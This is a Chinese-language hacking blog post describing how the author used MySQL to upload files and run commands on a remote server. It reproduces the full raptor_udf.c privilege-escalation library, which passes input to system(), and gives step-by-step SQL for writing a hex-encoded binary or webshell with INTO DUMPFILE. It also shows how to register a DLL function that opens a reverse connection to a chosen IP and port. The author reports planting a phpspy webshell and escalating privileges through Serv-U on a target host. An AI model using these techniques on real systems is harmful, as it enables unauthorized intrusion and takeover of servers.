利用mysql上傳和執行檔案
本來一直以為利用mysql就只能匯出webshell,但是前一段時間無意中發現了一篇文章《Windows下通過MySQL以SYSTEM身份執行系統命令》,於是再繼續搜尋了一下相關的文章。
其中上傳檔案是利用了mysql命令“SELECT * FROM mix INTO DUMPFILE 'c://abc.dll';”(以前導文字我都只是用select * from tablename into outfile 'c://abc.txt'),想不到可以匯出二進位制檔案。
至於執行命令,是利用了mysql的自定義過程來實現的。查了下,一個簡單符合mysql的dll是如下格式的:
[code]
/*
* $Id: raptor_udf.c,v 1.1 2004/12/04 14:44:39 raptor Exp $
*
* raptor_udf.c - dynamic library for do_system() MySQL UDF
* Copyright (c) 2004 Marco Ivaldi <[email protected]>
*
* This is an helper dynamic library for local privilege escalation through
* MySQL run with root privileges (very bad idea!). Tested on MySQL 4.0.17.
*
* Code ripped from:
*
* "MySQL provides a mechanism by which the default set of functions can be
* expanded by means of custom written dynamic libraries containing User
* Defined Functions, or UDFs". -- Hackproofing MySQL
*
* Usage:
* $ id
* uid=500(raptor) gid=500(raptor) groups=500(raptor)
* $ gcc -g -c raptor_udf.c
* $ gcc -g -shared -W1,-soname,raptor_udf.so -o raptor_udf.so raptor_udf.o -lc
* $ mysql -u root -p
* Enter password:
* [...]
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf.so'));
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf.so';
* mysql> create function do_system returns integer soname 'raptor_udf.so';
* mysql> select * from mysql.func;
* +-----------+-----+---------------+----------+
* | name | ret | dl | type |
* +-----------+-----+---------------+----------+
* | do_system | 2 | raptor_udf.so | function |
* +-----------+-----+---------------+----------+
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
* mysql> /! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* [...]
*/
#include <stdio.h>
#include <stdlib.h>
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;
typedef struct st_udf_init {
char maybe_null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if (args->arg_count != 1)
return(0);
system(args->args[0]);
return(0);
}
[/code]
呵呵,好簡單,(在VC下編譯,好像是cl /LD abc.c,對VC我不熟悉,沒辦法)
不過,按照網上說法,是要轉到mysql表中建立二進位制表格和匯出才可以成功,在test下可能不成功。
但是我幾次匯出都不成功,甚至是把二進位制檔案匯出來都會有錯,(其中部分會出亂碼)。
因為我一開始時犯了點錯誤,我用mysql客戶端,進入mysql命令提示行下後,貼上dll檔案,但是總是會貼上不了那麼,所以導致檔案不齊全。這個問題困擾了我好長時間,因為在即使修改windows的console視窗的緩衝區大小也是不行,後來甚至想到使用fterm通過linux下的mysql客戶端進行,結果也是失敗。最終才發現自己是多麼的愚笨,其實mysql是有匯入mysql命令的功能的,也就是可以使用mysql -u root -h hostname -p < script.txt,把這些程式碼匯入去的,也就不存在程式碼過長無法貼上的問題。第二個遇到的問題,是即使匯入的資料正確,但匯出的二進位制資料的最前端會無故多出半個位元組(8Bit)的0,也就是假如是使用<php這樣的挖出,ascii碼本來是"0x3C3F7068",但是匯出後一看,居然變成了0x03C3F7068,也就是真個檔案全變了!暈倒,怎麼別人沒有遇到這樣的情況呢!因為我對匯出dll檔案再提權信心不大,所以就想先匯出個webshell再說,因為webshell是文字來的,假如是多了一個空格等也不會出錯,所以我就在phpspy的最前面加了個空格,這樣二進位制就變成了0x203CF7068,結果匯出後一切正常,真是怪異極了,不過,起碼可以用了。(但是匯出成dll檔案就有問題了--總不成在dll前出也加個空格吧)
第三個問題:我在本地測試,把下回來的mix.dll放在mysql可以訪問的目錄下,然後"create function myconnect returns integer soname 'c://mix.dll';,結果返回說no paths allow for the share libraly,(大意如此,具體字元忘記了),上網一查,結果又找到另一個具說的漏洞,說是mysql中在載入自定義函式dll時,會檢查是否存在“/”,如果存在則不讓載入,漏洞的表述意思是可以往mysql.func中直接插入自定義函式的路徑和函式名,然後強迫mysql重啟,重啟後的mysql將不會檢查mysql.func中的路徑,只可惜我在本地測試還是沒有成功。重啟後再使用自定義函式,還是提示函式沒有定義,可能是我使用的mysql版本已經沒有這個漏洞了,不過,反正我在本地測試自定義函式的提權是失敗了。不過,總算還好,使用匯出二進位制程式碼的方法可以在遠端得到一個phpspy的webshell。
歸納上傳辦法如下:(雖然我直接匯出不有錯誤)
一、新建檔案script.txt,內容如下
use mysql;
DROP TABLE IF EXISTS mix;
create table mix(data LONGBLOB);
set @a= //這裡先空開,等下貼上內容過來
INSERT into mix values (CONVERT(@a,CHAR));
SELECT * FROM mix INTO DUMPFILE '遠方主機目錄和檔名,注意用/轉義路徑;
drop table mix;
二、 使用winhex開啟要上傳的檔案,然後copy all -> hex value,貼上到剛才那個set @a=後面,這樣就變成了定義一個變數@a,值就是那個檔案的值了。
三、在myql客戶端執行 mysql -u root -h 遠端主機 -p <script.txt,在隨後輸入root密碼,就可以在遠端主機成功的上傳了一個檔案。
一、先用上面的辦法匯出一個mix.dll(mix.dll自己找)
二、CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'C://Mix.dll';/*注意修改檔案地址
select Mixconnect('127.0.0.1','886');/*注意修改反連回來的IP地址和埠號
ps:本來上傳webshell是不需要用到這麼麻煩的,但是剛好測試的目標主機web user沒有什麼許可權,上傳檔案等程式碼都不成功,雖然匯出了一句話木馬,但是居然不能執行,它原本的php上傳檔案功能也不行(估計是主機的許可權發生了變化後管理員沒有設定好,導致上傳到臨時目錄後沒有許可權把檔案寫回web目錄。直接導其它一點稍微大點的木馬時,似乎是一碰到中文或單引號或"/"之類的轉義符就會出錯,導致匯出的木馬不能被執行。 好不容易匯出一個servU的本地提權php檔案,似乎可以執行,但是最終沒有效果。(後來估計可能還是哪裡匯出時被改變了)。最終只好用這個方法來導phpspy2006了--(呵呵,正好前段時間發覺asp和php木馬免殺其實是件非常容易的事),匯出webshell後,發現web目錄下web user是沒有寫許可權,不過servU提權卻非常順利的成功了。終於搞掂,學到了點關於mysql入侵的知識。不過始終想不能當初匯出的<?php system($cmd); ?>這樣的程式碼為什麼只能dir c:,一到dir c:/inetpub之類的都不行,但實際上是有許可權讀取的。